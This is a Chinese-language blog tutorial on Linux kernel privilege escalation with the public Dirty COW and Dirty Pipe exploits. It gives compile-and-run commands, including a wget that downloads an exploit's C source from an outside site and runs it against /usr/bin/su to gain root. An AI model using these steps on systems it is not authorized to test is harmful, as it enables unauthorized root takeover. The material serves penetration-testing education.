本文正在参加「金石计划 . 瓜分6万现金大奖」
前言
在渗透过程中,有时利用某些漏洞可以获取一个低权限的用户,然后想办法提权,提升到root用户权限,从而控制整个系统。 在获取到低权限shell后,通常会检查操作系统的发行版本、内核版本,老版本的系统可能会存在一些漏洞,于是我们可以利用这些版本漏洞进行提权。下面给大家带来的是一些内核提权的例子。
CVE-2016-5195
内核漏洞因为涉及的范围比较多,作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示:
dirtycow-exp:
github.com/gbonacini/C…
dirtycow-检测脚本:
github.com/aishee/scan…
简单简述一下它的原理:Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition) 。攻击者可利用此漏洞,来获取高权限,对只读内存映射进行写访问。其中的竞争条件指任务执行顺序异常而导致的应用崩溃,令攻击者有机可乘,进一步执行其他代码。
提权思路
上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
我们需要检测系统内核版本:
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a
当发现版本内核在脏牛影响的范围内时,拿到用户权限后将检测脚本上传至靶机:
upload /root/linux-exploit-suggester.sh /tmp/xino.sh
然后赋予该探针执行权限:
chmod 777 xino.sh
若要检测到存在,则继续上传我们下载的提权EXP来进行提权操作,注意的是上传的exp需要进行编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
执行后可得到root权限,提权脚本还可以通过searchsploit下载到本地:
searchsploitdirty
下面我们再举例一个其他内核漏洞:
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
github.com/Arinerron/C…
CVE-2022-0847
该漏洞是 5.8 以来 Linux 内核中的一个漏洞,覆盖任意只读文件中的数据。导致权限提升,因为非特权进程可以将代码注入根进程。
影响版本如下:
5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
我们查看受害靶机内核版本:
uname -a
发现版本在该漏洞的影响范围内后我们即可尝试进行攻击:
下载漏洞利用文件,编译后运行即可进行提权:
sudo wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipe dirtypipez.c
./dirtypipe /usr/bin/su
原理简述
下面简单讲一下该漏洞的由来,linux系统中存在管道符来完成数据传递,但管道符有一定的局限性:
数据一旦被读走,便不在管道中存在,不可反复读取;
由于管道采用半双工通信方式,因此数据只能在一个方向上流动;
只能在有公共祖先(有血缘)的进程间使用管道。
splice 这个系统调用接口可以将数据从一个文件"零拷贝"到一个 pipe 管道。简单来说就是不需要把内核缓冲区的内容往用户空间拷贝。它所调用的函数copy_page_to_iter_pipe作用是将 pipe 缓存页结构指向要传输的文件的文件缓存页 。我们用splice读取数据到管道上,在 splice中并未清空 pipe_buffer 的标志位,从而让内核误以为该页面可以被写入;,从而将管道页面可写入的状态保留了下来,这给了我们越权写入只读文件的操作。详细流程可以参考以下博客:
dirtypipe.cm4all.com/
结语
今天简单向大家讲解了利用内核漏洞去进行提权的操作,可以发现内核漏洞最主要的就是信息获取后寻找对应的内核漏洞再去攻击,因为内核漏洞有很多所以就挑出了两个常见而且常用的来给大家演示一下,如果对本文感兴趣不妨一键三连。
版权归原作者 小饭er 所有, 如有侵权,请联系我们删除。